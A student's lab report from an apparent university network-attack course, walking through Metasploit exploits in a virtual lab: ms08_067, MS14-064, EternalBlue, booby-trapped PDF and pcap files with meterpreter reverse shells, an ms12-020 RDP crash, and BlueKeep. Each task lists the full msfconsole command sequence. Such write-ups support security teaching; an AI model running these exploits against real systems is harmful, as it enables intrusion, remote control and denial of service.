2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp6 MSF基础应用

2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp6 MSF基础应用

一、实践目标

掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

二、实践内容

  1. 一个主动攻击实践,如ms08_067;
  2. 一个针对浏览器的攻击,如ms11_050;
  3. 一个针对客户端的攻击,如Adobe;
  4. 成功应用任何一个辅助模块。

三、实践原理

  1. MSF基本框架

  1. 主要模块

    • 模块是指Metasploit框架中所使用的一段软件代码组件。

      • 渗透攻击模块(Exploit Modules)
      • 辅助模块(Auxiliary Modules
      • 攻击载荷(Payload Modules)
      • 空字段模块(Nop Modules)
      • 编码模块(Encoders)
      • 后渗透攻击模块(Post)
    • 通过命令进入源码目录:/usr/share/metasploit-framework/modules 也可以看到相应模块

  1. msfconsole的相关操作

    • 查看模块的具体信息:info
    • 查看回链攻击载荷:show payloads
    • 查看设置信息:show options
    • 查看攻击目标类型:show target
    • 查找命令:search + 查找信息
    • 列出会话:sessions -l

四、实验步骤

任务一:一个主动攻击实践

ms08-067(成功)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows 2000 Professional(192.168.11.145)

实验准备

  • 测试靶机与攻击机之间能否ping通

  • 攻击机 kali 通过命令 nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.11.145 试探靶机是否存在此漏洞

在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

use exploit/windows/smb/ms08_067_netapi
set payload generic/shell_reverse_tcp
set LHOST 192.168.11.128
set LPORT 5218
set RHOST 192.168.11.145
set target 0
exploit

  • 发现攻击成功,这里用的所攻击的靶机是 Windows 2000 ,可以输入ver查看系统版本

  • 还可以输入其他命令获取信息,例如dir

任务二:一个针对浏览器的攻击

(一)MS14-064---win7篇(失败且唯一)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows 7(192.168.11.144)
 IE版本:8.0.7601.17514

  • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

  • use exploit/windows/browser/ms14_064_ole_code_execution

  • show payloads //显示可用攻击载荷

  • set payload windows/meterpreter/reverse_tcp

  • set SRVHOST 192.168.11.128 //设置攻击机IP

  • set LHOST 192.168.11.128 //攻击机IP

  • set LPORT 5218 //设置攻击端口

  • show targets

  • set target 1

  • show options

  • exploit

  • 将生成的URL地址在 win7 的IE浏览器中打开

  • 回到 kali 发现似乎没有成功。回车一下,通过 sessions 查看会话状态,果然没有成功建立会话连接

  • 尝试换一个载荷 windows/shell_bind_tcp 进行攻击

  • 将生成的URL地址在 win7 的IE浏览器中打开

  • 结果仍然没有成功获取会话连接

  • 多次尝试攻击win7的IE发现都是无法获取到成功的会话连接,上网查询相关原因,发现有人说是最新win7已经修复了这个漏洞,只能尝试攻击其他系统

(二)MS14-064(payload windows/shell_bind_tcp)---winxp篇(成功且唯一)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows XP(192.168.11.146)
 IE版本:8.0.6001.18702

  • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

  • use exploit/windows/browser/ms14_064_ole_code_execution

  • set payload windows/shell_bind_tcp

  • set SRVHOST 192.168.11.128 //设置攻击机IP

  • set LHOST 192.168.11.128 //攻击机IP

  • set LPORT 5218 //设置攻击端口

  • show targets

  • set target 0

  • show options 发现还需要设靶机IP

  • set RHOST 192.168.11.146 //靶机IP

  • exploit

  • 将生成的URL地址在 win7 的IE浏览器中打开

  • 回到 kali 发现好像是成功。回车一下,通过 sessions 查看会话状态,发现有一个会话连接。通过输入sessions -i 1获取第一个会话连接,并输入ipconfig验证为靶机地址,还可以输入ver获取系统版本信息

(三)ms17_010---win7篇(成功)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows 7(192.168.11.144)
 IE版本:8.0.7601.17514

  • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

  • use exploit/windows/smb/ms17_010_eternalblue

  • show payloads //显示可用攻击载荷

  • set payload generic/shell_reverse_tcp

  • set RHOST 192.168.11.144 //靶机IP

  • set LHOST 192.168.11.128 //攻击机IP

  • set LPORT 5218 //设置攻击端口

  • show options

  • exploit

  • 在靶机 win7 的IE浏览器输入 https://攻击机IP:监听端口

  • 回到 kali 发现攻击成功。回车一下,出现命令行

  • 通过命令ver获取系统版本(这里竟然乱码了...),通过命令 ipconfig 查看验证靶机IP地址

任务三:一个针对客户端的攻击

(一)Adobe(成功)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows XP(192.168.11.146)

  • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

  • search adobe //进行查找

  • use windows/fileformat/adobe_cooltype_sing

  • set payload windows/meterpreter/reverse_tcp

  • set LHOST 192.168.11.128 //攻击机IP

  • set LPORT 5218 //设置攻击端口

  • show options

  • exploit

  • 生成msf.pdf(之前可以通过命令set FILENAME +名字 来生成自定义的名字)保存在 /home/kali/.msf4/local 目录下

  • 另外打开一个终端通过命令 cd /home/kali/.msf4/local 进入目录,输入 ls 可以查看到文件所处其中

  • 输入命令 mv msf.pdf /home/kali/wlgf/exp6 将生成的 msf.pdf 移动到指定目录下

  • 然后可以在图形界面进入到该刚刚指定目录,将文件先复制到主机 WIN10 上,再从 WIN10 将文件复制到靶机 WIN XP 上

  • 控制台中直接通过use exploit/multi/handler,进入监听模块,或者先输入back退出当前模块,然后再输入以下命令:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.11.128
set LPORT 5218
exploit

  • 然后在靶机 winxp 中双击运行 msf.pdf 文件,回到攻击机 kali 中就可以看到回连成功。通过命令 ipconfig 可以查看靶机的ip地址;通过命令 ver 查看系统版本信息

  • 当在靶机将文件 msf.pdf 关闭后(关闭就能会报无响应),在攻击机上可以看到会话关闭

(二)wireshark(成功)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows XP(192.168.11.146)
wireshark 版本:1.4.0.34005

  • 在攻击机 kali 中通过 msfconsole 进入控制台,依次输入以下命令:

  • use windows/fileformat/wireshark_packet_dect

  • set payload windows/meterpreter/reverse_tcp

  • set LHOST 192.168.11.128 //攻击机IP

  • set LPORT 5218 //设置攻击端口

  • set FILENAME 20175218cjy.pcap //设置生成文件的名字

  • exploit

  • 生成 20175218cjy.pcap 保存在 /home/kali/.msf4/local 目录下

  • 另外打开一个终端通过命令 cd /home/kali/.msf4/local 进入目录,输入 ls 可以查看到文件所处其中

  • 输入命令 mv 20175218cjy.pcap /home/kali/wlgf/exp6 将生成的 20175218cjy.pcap 移动到指定目录下

  • 然后可以在图形界面进入到该刚刚指定目录,将文件先复制到主机 WIN10 上,再从 WIN10 将文件复制到靶机 WIN XP 上

  • 控制台中直接通过use exploit/multi/handler,进入监听模块,或者先输入back退出当前模块,然后再输入以下命令:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.11.128
set LPORT 5218
exploit

  • 然后在靶机 winxp 中双击运行 20175218cjy.pcap 文件,回到攻击机 kali 中就可以看到回连成功。通过命令 ipconfig 可以查看靶机的ip地址;通过命令 ver 查看系统版本信息

  • 当在靶机将文件 20175218cjy.pcap 关闭后(关闭就能会报无响应),在攻击机上可以看到会话关闭

任务四:成功应用任何一个辅助模块

在实验二最初接触MSF的时候,在网上进行搜索,无意间发现了这个攻击,但是由于但是对MSF模块也不是很熟悉就放弃了。这次利用模块进行攻击,我就想起这个来了,然后在这里就进行尝试,不知道有没有人跟我一样用到这个(这个攻击在网上挺容易搜到的......)

(一)kali-蓝屏攻击(ms12-020)--win7篇(失败且唯一)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows 7(192.168.11.144)

  • 在 kali 中输入 cd /usr/share/metasploit-framework/modules/auxiliary 进入辅助模块,输入ls查看到 dos ,进入 /dos/windows/rdp 就可以看到 ms12-020 了

  • 在攻击机 kali 中通过 msfconsole 进入控制台,输入命令 search ms12-020 搜索到 ms12-020 模块

  • 其中,上面那个 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 是攻击模块,这里暂时先不用它,先用下面的搜索模块进行搜索,查看是否具有攻击条件

  • 输入 use auxiliary/scanner/rdp/ms12_020_check //使用搜索模块

  • 然后输入 show options 查看配置信息

  • 可以看到这个攻击需要靶机开启3389端口,而且是启动 RDP 服务的(远程桌面控制)。看来这个条件还是略微有点复杂,这里就先在win7上打开3389端口和启动 RDP 服务,具体方法参考开启和关闭远程Windows系统3389端口RDP服务开启

  • 然后在 kali 中输入 set RHOSTS 192.168.11.1/24 //设置扫描网段

  • 在通过 run 开始扫描网段内 3389 打开的地址

  • 当扫描到 192.168.11.144 的时候,发现它的 3389 端口是打开的,接下来就可以进行攻击了,也就是使用 auxiliary/dos/windows/rdp/ms12_020_maxchannelids 模块

  • 依次输入以下命令:

  • use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

  • set RHOST 192.168.11.144 //靶机IP

  • show options

  • run

  • 很兴奋得输入run回车,转到win7就等着出现蓝屏,结果等了一会,啥反应也没有。回到 kali 一看,发现显示说 RDP 服务没开。

  • 这就很纳闷了,明明是打开的,为啥不行呢,上网查了之后发现说最新的win7已经修复了这个漏洞,我......这个是不是得弄个老版没有打啥补丁的win7来啊......唉,还是换个系统看看

(二)kali-蓝屏攻击(ms12-020)--windows server 2008篇(成功且唯一)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows server 2008(192.168.11.132)

  • 同样还是先进行扫描,条件具备后,现在进行攻击

  • 依次输入以下命令:

  • use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

  • set RHOST 192.168.11.132 //靶机IP

  • run

  • 这次我就先在 kali 等着,发现显示 down ,赶紧到 Windows server 2008 一看,果然蓝屏了!

为了防止跟同学重复(毕竟网上比较容易看到这个蓝屏攻击(ms12-020),于是我继续做了一个辅助模块的)

(三)CVE-2019-0708漏洞复现(成功且唯一)

实验环境

攻击机:kali(192.168.11.128)
靶机:Windows XP(192.168.11.146)

  • 在攻击机 kali 中通过 msfconsole 进入控制台,通过 search 0708 搜索0708相关模块,这里先使用扫描模块

  • 依次输入以下命令:

  • use auxiliary/scanner/rdp/cve_2019_0708_bluekeep //使用扫描模块

  • show options

  • set RHOST 192.168.11.146 //靶机IP

  • run

  • 发现这个也是利用了 3389 端口以及远程桌面控制,那几个RDP服务都是启用的(这个也能造成蓝屏)。扫描结果说可以攻击,但是有可能被杀掉,先不管,攻击了再说(为啥攻击就觉得很兴奋...)

  • 依次输入以下命令:

  • use exploit/windows/rdp/cve_2019_0708_bluekeep_rce //使用攻击模块

  • show targets //选择目标主机类型

  • set target 4

  • set RHOST 192.168.11.146 //靶机IP

  • run

  • 结果真如扫描一样,可能被杀掉这个,但是没关系,可以重复 run 直到出现会话连接

  • 出现会话连接,我到 winxp 上查看,发现竟然没有蓝屏

  • 回到kali中,回车一下,出现命令行,通过命令 ver 可以查看系统版本

关于没有蓝屏,我觉得可能就是因为这个杀掉了的原因,但是通过多次攻击run,建立了会话,还是可以获取shell,但是蓝屏却弄不了了,这个还是winxp,网上很多人都是win7及以上基本上都修复了这个漏洞,所以这里就没有测试win7了(不想第三次在win7上摔倒...)

五、实验中遇到的问题

问题一

这其实是我的辅助模块的一个尝试,就是利用辅助模块中的docx,也就是通过生成一个docx文件,然后启用监听,在靶机上运行,然后获取回连。我攻击的对象是winxp,由于在winxp上没有安装打开docx的word之类的软件,然后又由于winxp系统的版本比较老,所以上网搜索可以适用的word版本,发现wps都可以适用。然后下载安装wps,用wps打开文件,结果发现不能建立回连,在kali上都没反应。

解决方法: 后来重新上网查询,发现word2003可以适用于winxp,于是又下载了word2003。然后重新选择载荷,重新生成了一个docx文件,复制到winxp中用word打开,发现成功建立回连,这好像跟office有关,这个攻击也是针对office的一个攻击,幸好2003版本也是比较老了,不然攻击成功与否还是难以预料的,由于做的时候出错了,也算是在尝试,没有截图,所以不好写入实验步骤中,就没有写进去了,仅在这里进行阐述。

还有一个不算问题,就是最后每次在攻击前将虚拟机拍摄一个快照,这样如果真的把虚拟机弄崩了(几率较小),还可以回到之前的状态而不用重新安装虚拟机,这也算是一个建议吧。

六、实践思考

问题一

(1)用自己的话解释什么是exploit,payload,encode.

答:

  • 对于exploit,中文意思有利用的意思。就是像开始一样,进行渗透攻击。然后进一步说,就像在实验中,每一次设置好之后都会进行exploit,这也是最激动兴奋的时候,因为一执行它,攻击或者扫描就开始了。当然也可以用run,它们是等效的,就像我在做辅助模块那就是用的run;
  • 对于payload,中文意思是有效载荷的意思。比如飞机啊,轮船啊等,它们都有荷载,如果没有荷载或者荷载匹配错误的话,那么将无法运行。实验中也是一样,如果不设置荷载或者荷载设置错误,那么是无法进行攻击的;
  • 对于encode,中文意思是编码的意思。我觉得就是可以通过编码来对一些代码进行修改。就比如我们之前做过的后门程序,可以通过编码来消除一些特征码来降低被杀软查杀的概率。

七、离实战还缺些什么技术或步骤?

答:通过这次实验,我还是知道这些攻击的不容易,跟实战还是有一定的差距的,比如:

  • 缺少丰富的攻击手法,只熟悉尝试过的几种攻击手法,其他的需要在尝试中才能熟练了解。一旦靶机进行了相应的打补丁修复等,如果没有新的攻击方式,那么是很难攻击成功的,而且在实战中也没有这么多去尝试的机会
  • 对靶机要求性高,就像我被win7都制裁了两次,只能去找那些发行时间早的系统来攻击才能成功,比如winxp或者更古老的win2000。而且还要打开什么端口啊,开启什么服务啊,就像这次实验中打开3389端口和RDP服务一样,需要这些要求满足才能进行相应攻击
  • 对于一些需要植入攻击,如果没有什么隐蔽保护机制,就像加壳,或者说免杀这个的话,很容易在植入时就被杀软发现了,或者是想要运行时就被杀软拦截了,所以还是有一定困难的;而对于针对浏览器的网站攻击,需要靶机去登录这个网站,一般来说,对于这些奇怪的网站,一般的不会去进入的,除非是有一些诱导手段,或者执行跳转,还是有一定困难的

八、实验收获与感想

这次实验,总的来说不是很困难,但是做得还算比较顺利,特别是跟上一次实验对比,简直是轻松太多了(还在上一次实验阴影中...)。而且这次实验的过程还非常有趣,富有挑战性,每一次攻击都是一次挑战,攻击成功就是挑战成功,攻击失败则为挑战失败,很刺激。当然成功的时候很高兴,失败就不行了(被win7制裁2次...)。总而言之,这次实验,通过不断尝试利用MSF进行攻击,这样来掌握了metasploit的基本应用方式,对常用的三种攻击方式也熟悉了不少,学到了很多,但是同时也知道,自己对于真的的技术还是差很多的,就像这次,被win7都制裁了三次,只能拿winxp来,或者更古老的win2000来出气......所以希望在以后的学习中能够学到更多,不断充实自己。

九、参考资料

posted @ 2020-04-27 13:21  20175218陈敬勇  阅读(255)  评论(0编辑  收藏  举报